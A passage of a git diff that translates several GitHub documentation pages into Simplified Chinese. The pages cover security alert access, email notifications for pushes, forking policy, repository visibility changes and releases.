+   ![用于更改安全警报设置的"Save changes（保存更改）"按钮](/assets/images/help/repository/security-and-analysis-security-alerts-save-changes.png)
+   {% endif %}
+   {% ifversion ghes < 3.3 %}
+   ![用于更改安全警报设置的"Save changes（保存更改）"按钮](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-save-changes.png)
+   {% endif %}
+   {% ifversion ghae %}
+   ![用于更改安全警报设置的"Save changes（保存更改）"按钮](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-save-changes-ghae.png)
+   {% endif %}
+
+## 删除对安全警报的访问权限
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
-4. Under "Access to alerts", to the right of the person or team whose access you'd like to remove, click {% octicon "x" aria-label="X symbol" %}.
-   {% ifversion fpt or ghec or ghes > 3.2 %}  
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png)
+4. 在“Access to alerts（访问警报）”下，在要删除其访问权限的个人或团队的右侧，单击 {% octicon "x" aria-label="X symbol" %}。
+   {% ifversion fpt or ghec or ghes > 3.2 %}
+   ![用于删除某人对您仓库的安全警报访问权限的 "x" 按钮](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png)
    {% endif %}
    {% ifversion ghes < 3.3 %}
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-username-x.png)
+   ![用于删除某人对您仓库的安全警报访问权限的 "x" 按钮](/assets/images/enterprise/3.2/repository/security-and-analysis-security-alerts-username-x.png)
    {% endif %}
    {% ifversion ghae %}
-   !["x" button to remove someone's access to security alerts for your repository](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png)
+   ![用于删除某人对您仓库的安全警报访问权限的 "x" 按钮](/assets/images/enterprise/github-ae/repository/security-and-analysis-security-alerts-username-x-ghae.png)
    {% endif %}
-  5. Click **Save changes**.
+  5. 单击 **Save changes（保存更改）**。
 
-## Further reading
+## 延伸阅读
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
-- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+- "[保护您的仓库](/code-security/getting-started/securing-your-repository)"
+- “[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
index 67c8fece20..6169d3f79f 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: About email notifications for pushes to your repository
-intro: You can choose to automatically send email notifications to a specific email address when anyone pushes to the repository.
+title: 关于推送到仓库的电子邮件通知
+intro: 您可以选择在任何人推送到仓库时自动发送电子邮件通知到特定电子邮件地址。
 permissions: People with admin permissions in a repository can enable email notifications for pushes to your repository.
 redirect_from:
   - /articles/managing-notifications-for-pushes-to-a-repository
@@ -16,39 +16,37 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Email notifications for pushes
+shortTitle: 用于推送的电子邮件通知
 ---
+
 {% data reusables.notifications.outbound_email_tip %}
 
-Each email notification for a push to a repository lists the new commits and links to a diff containing just those commits. In the email notification you'll see:
+对于推送到仓库所发送的每封电子邮件通知都会列出新提交，以及只包含这些提交的差异的链接。 在电子邮件通知中，您会看到：
 
-- The name of the repository where the commit was made
-- The branch a commit was made in
-- The SHA1 of the commit, including a link to the diff in {% data variables.product.product_name %}
-- The author of the commit
-- The date when the commit was made
-- The files that were changed as part of the commit
-- The commit message
+- 其中进行了提交的仓库名称
+- 进行提交的分支
+- 提交的 SHA1，包括到 {% data variables.product.product_name %} 中差异的链接
+- 提交的作者
+- 提交的日期
+- 作为提交一部分所更改的文件
+- 提交消息
 
-You can filter email notifications you receive for pushes to a repository. For more information, see {% ifversion fpt or ghae or ghes or ghec %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications){% else %}"[About notification emails](/github/receiving-notifications-about-activity-on-github/about-email-notifications)." You can also turn off email notifications for pushes. For more information, see "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications){% endif %}."
+您可以过滤因推送到仓库而收到的电子邮件通知。 更多信息请参阅{% ifversion fpt or ghae or ghes or ghec %}“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications){% else %}”[关于通知电子邮件](/github/receiving-notifications-about-activity-on-github/about-email-notifications)”。 您还可以对推送关闭电子邮件通知。 更多信息请参阅“[选择通知的递送方式](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications){% endif %}”。
 
-## Enabling email notifications for pushes to your repository
+## 对推送到仓库启用电子邮件通知
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.sidebar-notifications %}
-5. Type up to two email addresses, separated by whitespace, where you'd like notifications to be sent. If you'd like to send emails to more than two accounts, set one of the email addresses to a group email address.
-![Email address textbox](/assets/images/help/settings/email_services_addresses.png)
-1. If you operate your own server, you can verify the integrity of emails via the **Approved header**. The **Approved header** is a token or secret that you type in this field, and that is sent with the email. If the `Approved` header of an email matches the token, you can trust that the email is from {% data variables.product.product_name %}.
-![Email approved header textbox](/assets/images/help/settings/email_services_approved_header.png)
-7. Click **Setup notifications**.
-![Setup notifications button](/assets/images/help/settings/setup_notifications_settings.png)
+5. 输入最多两个您希望通知发送到的电子邮件地址，用空格分隔。 如果要将电子邮件发送到两个以上的帐户，请将其中一个电子邮件地址设为群组电子邮件地址。 ![电子邮件地址文本框](/assets/images/help/settings/email_services_addresses.png)
+1. 如果您操作自己的服务器，可通过 **Approved 标头**验证电子邮件的真实性。 **Approved 标头**是您在此字段中输入的令牌或密码，它将随电子邮件一起发送。 如果电子邮件的 `Approved` 标头与令牌匹配，则可以信任该电子邮件来自 {% data variables.product.product_name %}。 ![电子邮件已批准标头文本框](/assets/images/help/settings/email_services_approved_header.png)
+7. 单击 **Setup notifications（设置通知）**。 ![设置通知按钮](/assets/images/help/settings/setup_notifications_settings.png)
 
-## Further reading
+## 延伸阅读
 {% ifversion fpt or ghae or ghes or ghec %}
-- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
+- "[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications)"
 {% else %}
-- "[About notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-notifications)"
-- "[Choosing the delivery method for your notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications)"
-- "[About email notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-email-notifications)"
-- "[About web notifications](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-web-notifications)"{% endif %}
+- "[关于通知](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-notifications)"
+- "[选择通知的递送方式](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/choosing-the-delivery-method-for-your-notifications)"
+- "[关于电子邮件通知](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-email-notifications)"
+- "[关于 web 通知](/enterprise/{{ currentVersion }}/user/github/receiving-notifications-about-activity-on-github/about-web-notifications)"{% endif %}
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
index b5692be81c..2170eb83dc 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the forking policy for your repository
-intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.'
+title: 管理仓库的复刻政策
+intro: '您可以允许或阻止对组织拥有的特定私有{% ifversion ghae or ghes or ghec %}或内部{% endif %}仓库进行复刻。'
 redirect_from:
   - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization
   - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization
@@ -14,16 +14,16 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Manage the forking policy
+shortTitle: 管理复刻策略
 ---
-An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)."
+
+组织所有者必须在组织级别上允许复刻私有{% ifversion ghae or ghes or ghec %}和内部{% endif %}仓库，然后才能允许或禁止对特定仓库进行复刻。 更多信息请参阅“[管理组织的复刻政策](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)”。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Features", select **Allow forking**.
-  ![Checkbox to allow or disallow forking of a private repository](/assets/images/help/repository/allow-forking-specific-org-repo.png)
+3. 在 "Features"（功能）下，选择 **Allow forking（允许复刻）**。 ![允许或禁止私有仓库复刻的复选框](/assets/images/help/repository/allow-forking-specific-org-repo.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
index 60c27fc359..aec9f4dc6c 100644
--- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
+++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: Setting repository visibility
-intro: You can choose who can view your repository.
+title: 设置仓库可见性
+intro: 您可选择能够查看仓库的人员。
 redirect_from:
   - /articles/making-a-private-repository-public
   - /articles/making-a-public-repository-private
@@ -15,90 +15,90 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Repository visibility
+shortTitle: 仓库可见性
 ---
-## About repository visibility changes
 
-Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+## 关于仓库可见性更改
+
+组织所有者可以限制只有组织所有者才能更改仓库可见性。 更多信息请参阅“[限制组织的仓库可见性更改](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)”。
 
 {% ifversion ghec %}
 
-Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. 更多信息请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。
 
 {% endif %}
 
-We recommend reviewing the following caveats before you change the visibility of a repository.
+我们建议在您更改仓库可见性之前审查以下注意事项。
 
 {% ifversion ghes or ghae %}
 
 {% warning %}
 
-**Warning:** Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network.
+**警告：** 更改大型仓库或仓库网络的可见性可能会影响数据的完整性。 可见性变化也可能对复刻产生意外影响。 {% data variables.product.company_short %} 建议在更改仓库网络的可见性之前遵循以下建议。
 
-- Wait for a period of reduced activity on {% data variables.product.product_location %}.
+- 等待一段时间，让 {% data variables.product.product_location %} 上的活动减少。
 
-- Contact your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} before proceeding. Your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} can contact {% data variables.contact.contact_ent_support %} for further guidance.
+- 在继续操作之前，请联系您的 {% ifversion ghes %}站点管理员{% elsif ghae %}企业所有者{% endif %}。 您的 {% ifversion ghes %}站点管理员{% elsif ghae %}企业所有者{% endif %} 可以联系 {% data variables.contact.contact_ent_support %} 获得进一步指导。
 
 {% endwarning %}
 
 {% endif %}
 
-### Making a repository private
+### 将仓库设为私有
 {% ifversion fpt or ghes or ghec %}
-* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %}
+* {% data variables.product.product_name %} 将会分离公共仓库的公共复刻并将其放入新的网络中。 公共复刻无法设为私有。{% endif %}
 {%- ifversion ghes or ghec or ghae %}
-* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+* 如果您将仓库的可见性从内部更改为私有， {% data variables.product.prodname_dotcom %} 将删除属于任何没有新私有仓库访问权限的用户的复刻。 {% ifversion fpt or ghes or ghec %}任何复刻的可见性也将更改为私有。{% elsif ghae %}如果内部仓库有任何复刻，则复刻的可见性已经是私有的。{% endif %}更多信息请参阅“[删除仓库或更改其可见性时，复刻会发生什么变化？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)”
 {%- endif %}
 
 {%- ifversion fpt %}
-* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+* 如果对用户帐户或组织使用 {% data variables.product.prodname_free_user %}，有些功能在您将可见性更改为私有后不可用于仓库。 任何已发布的 {% data variables.product.prodname_pages %} 站点都将自动取消发布。 如果您将自定义域添加到 {% data variables.product.prodname_pages %} 站点，应在将仓库设为私有之前删除或更新 DNS 记录，以避免域接管的风险。 For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
 {%- endif %}
 
 {%- ifversion fpt or ghec %}
-* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)."
-* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %}
+* {% data variables.product.prodname_dotcom %} 不再在 {% data variables.product.prodname_archive %} 中包含该仓库。 更多信息请参阅“[关于在 {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program) 上存档内容和数据”。
+* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working{% ifversion ghec %} unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats{% endif %}. {% data reusables.advanced-security.more-info-ghas %}
 {%- endif %}
 
 {%- ifversion ghes %}
-* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."
+* 匿名 Git 读取权限不再可用。 更多信息请参阅“[为仓库启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)。”
 {%- endif %}
 
 {% ifversion ghes or ghec or ghae %}
 
-### Making a repository internal
+### 将仓库设为内部
 
-* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"
+* 仓库的任何复刻都将保留在仓库网络中， {% data variables.product.product_name %} 维护根仓库与复刻之间的关系。 更多信息请参阅“[删除仓库或更改其可见性时，复刻会发生什么变化？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)”
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
 
-### Making a repository public
+### 将仓库设为公共
 
-* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %}
-* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)."
-* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features.
+* {% data variables.product.product_name %} 将会分离私有复刻并将它们变成独立的私有仓库。 更多信息请参阅“[删除仓库或更改其可见性时，复刻会发生什么变化？](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)”{% ifversion fpt or ghec %}
+* 如果在创建开源项目时将私有仓库转换为公共仓库，请参阅[开放源码指南](http://opensource.guide)以了解有用的提示和指南。 您还可以通过 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) 免费学习管理开源项目的课程。 您的仓库设为公共后，您还可以查看仓库的社区资料以了解项目是否符合支持贡献者的最佳做法。 更多信息请参阅“[查看您的社区资料](/articles/viewing-your-community-profile)”。
+* 仓库将自动获得对 {% data variables.product.prodname_GH_advanced_security %} 功能的使用权限。
 
-For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %}
+有关改善仓库安全性的信息，请参阅“[保护仓库](/code-security/getting-started/securing-your-repository)”。{% endif %}
 
 {% endif %}
 
-## Changing a repository's visibility
+## 更改仓库的可见性
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**.
-   ![Change visibility button](/assets/images/help/repository/repo-change-vis.png)
-4. Select a visibility.
+3. 在“Danger Zone（危险区域）”下的“Change repository visibility（更改仓库可见性）”右侧，单击 **Change visibility（更改可见性）**。 ![更改可见性按钮](/assets/images/help/repository/repo-change-vis.png)
+4. 选择可见性。
 {% ifversion fpt or ghec %}
-   ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %}
-   ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %}
-5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of.
-6. Click **I understand, change repository visibility**.
+   ![仓库可见性选项对话框](/assets/images/help/repository/repo-change-select.png){% else %}
+![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %}
+5. 要验证您是否正在更改正确仓库的可见性，请键入您想要更改其可见性的仓库名称。
+6. 单击 **I understand, change repository visibility（我了解，更改仓库可见性）**。
 {% ifversion fpt or ghec %}
-   ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %}
-   ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %}
+   ![确认更改仓库可见性按钮](/assets/images/help/repository/repo-change-confirm.png){% else %}
+![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %}
 
 
-## Further reading
+## 延伸阅读
 - "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)"
diff --git a/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md b/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md
index b4e5fce59b..75cafcccdb 100644
--- a/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md
+++ b/translations/zh-CN/content/repositories/releasing-projects-on-github/about-releases.md
@@ -1,6 +1,6 @@
 ---
-title: About releases
-intro: 'You can create a release to package software, along with release notes and links to binary files, for other people to use.'
+title: 关于发行版
+intro: 您可以创建包软件的发行版，以及发行说明和二进制文件链接，以供其他人使用。
 redirect_from:
   - /articles/downloading-files-from-the-command-line
   - /articles/downloading-files-with-curl
@@ -17,42 +17,43 @@ versions:
 topics:
   - Repositories
 ---
-## About releases
+
+## 关于发行版
 
 {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-4974 %}
-![An overview of releases](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
+![发行版概述](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png)
 {% elsif ghes > 3.3 or ghae-issue-4972 %}
-![An overview of releases](/assets/images/help/releases/releases-overview-with-contributors.png)
+![发行版概述](/assets/images/help/releases/releases-overview-with-contributors.png)
 {% else %}
-![An overview of releases](/assets/images/help/releases/releases-overview.png)
+![发行版概述](/assets/images/help/releases/releases-overview.png)
 {% endif %}
 
-Releases are deployable software iterations you can package and make available for a wider audience to download and use.
+发行版是可部署的软件迭代，您可以打包并提供给更广泛的受众下载和使用。
 
-Releases are based on [Git tags](https://git-scm.com/book/en/Git-Basics-Tagging), which mark a specific point in your repository's history. A tag date may be different than a release date since they can be created at different times. For more information about viewing your existing tags, see "[Viewing your repository's releases and tags](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)."
+发行版基于 [Git 标记](https://git-scm.com/book/en/Git-Basics-Tagging)，这些标记会标记仓库历史记录中的特定点。 标记日期可能与发行日期不同，因为它们可在不同的时间创建。 有关查看现有标记的更多信息，请参阅“[查看仓库的发行版和标记](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)”。
 
-You can receive notifications when new releases are published in a repository without receiving notifications about other updates to the repository. For more information, see {% ifversion fpt or ghae or ghes or ghec %}"[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}"[Watching and unwatching releases for a repository](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-releases-for-a-repository){% endif %}."
+当仓库中发布新发行版时您可以接收通知，但不会接受有关仓库其他更新的通知。 更多信息请参阅{% ifversion fpt or ghae or ghes or ghec %}“[查看您的订阅](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions){% else %}”[关注和取消关注仓库的发行版](/github/receiving-notifications-about-activity-on-github/watching-and-unwatching-releases-for-a-repository){% endif %}”。
 
-Anyone with read access to a repository can view and compare releases, but only people with write permissions to a repository can manage releases. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)."
+对仓库具有读取访问权限的任何人都可以查看和比较发行版，但只有对仓库具有写入权限的人员才能管理发行版。 更多信息请参阅“[管理仓库中的发行版](/github/administering-a-repository/managing-releases-in-a-repository)”。
 
 {% ifversion fpt or ghec %}
 
 You can manually create release notes while managing a release. Alternatively, you can automatically generate release notes from a default template, or customize your own release notes template. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)."
 
-People with admin permissions to a repository can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)."
+对仓库具有管理员权限的人可以选择是否将 {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) 对象包含在 {% data variables.product.product_name %} 为每个发行版创建的 ZIP 文件和 tarball 中。 更多信息请参阅“[管理仓库存档中的 {% data variables.large_files.product_name_short %} 对象](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository)”。
 {% endif %}
 
 {% ifversion fpt or ghec %}
-If a release fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+如果发行版修复了安全漏洞，您应该在仓库中发布安全通告。 {% data variables.product.prodname_dotcom %} 审查每个发布的安全通告，并且可能使用它向受影响的仓库发送 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[关于 GitHub 安全通告](/github/managing-security-vulnerabilities/about-github-security-advisories)”。
 
-You can view the **Dependents** tab of the dependency graph to see which repositories and packages depend on code in your repository, and may therefore be affected by a new release. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+您可以查看依赖项图的 **Dependents（依赖项）**选项卡，了解哪些仓库和包依赖于您仓库中的代码，并因此可能受到新发行版的影响。 更多信息请参阅“[关于依赖关系图](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)”。
 {% endif %}
 
-You can also use the Releases API to gather information, such as the number of times people download a release asset. For more information, see "[Releases](/rest/reference/repos#releases)."
+您也可以使用发行版 API 来收集信息，例如人们下载发行版资产的次数。 更多信息请参阅“[发行版](/rest/reference/repos#releases)”。
 
 {% ifversion fpt or ghec %}
-## Storage and bandwidth quotas
+## 存储和带宽配额
 
- Each file included in a release must be under {% data variables.large_files.max_file_size %}. There is no limit on the total size of a release, nor bandwidth usage.
+ 发行版中包含的每个文件都必须在 {% data variables.large_files.max_file_size %} 下。 发行版的总大小和带宽使用没有限制。
 
 {% endif %}
diff --git a/translations/zh-CN/content/repositories/releasing-projects-on-github/index.md b/translations/zh-CN/content/repositories/releasing-projects-on-github/index.md
index feb05945b2..19967ba2e5 100644
--- a/translations/zh-CN/content/repositories/releasing-projects-on-github/index.md
+++ b/translations/zh-CN/content/repositories/releasing-projects-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Releasing projects on GitHub
-intro: 'You can create a release to package software, release notes, and binary files for other people to download.'
+title: 在 GitHub 上发布项目
+intro: 您可以创建发行版以打包软件、发行说明和二进制文件，供他人下载。
 redirect_from:
   - /categories/85/articles
   - /categories/releases
@@ -21,6 +21,6 @@ children:
   - /comparing-releases
   - /automatically-generated-release-notes
   - /automation-for-release-forms-with-query-parameters
-shortTitle: Release projects
+shortTitle: 发布项目
 ---
 
diff --git a/translations/zh-CN/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/translations/zh-CN/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
index eff47a5b08..f6a24d1ff0 100644
--- a/translations/zh-CN/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
+++ b/translations/zh-CN/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing releases in a repository
-intro: You can create releases to bundle and deliver iterations of a project to users.
+title: 管理仓库中的发行版
+intro: 您可以创建要捆绑的发行版，并将项目的迭代交付给用户。
 redirect_from:
   - /articles/creating-releases
   - /articles/listing-and-editing-releases
@@ -18,30 +18,29 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Manage releases
+shortTitle: 管理版本
 ---
+
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## About release management
+## 关于发行版管理
 
 You can create new releases with release notes, @mentions of contributors, and links to binary files, as well as edit or delete existing releases.
 
 {% ifversion fpt or ghec %}
-You can also publish an action from a specific release in {% data variables.product.prodname_marketplace %}. For more information, see "<a href="/actions/creating-actions/publishing-actions-in-github-marketplace" class="dotcom-only">Publishing an action in the {% data variables.product.prodname_marketplace %}</a>."
+您也可以在 {% data variables.product.prodname_marketplace %} 中从特定的发行版发布操作。 更多信息请参阅“<a href="/actions/creating-actions/publishing-actions-in-github-marketplace" class="dotcom-only">在 {% data variables.product.prodname_marketplace %} 中发布操作</a>”。
 
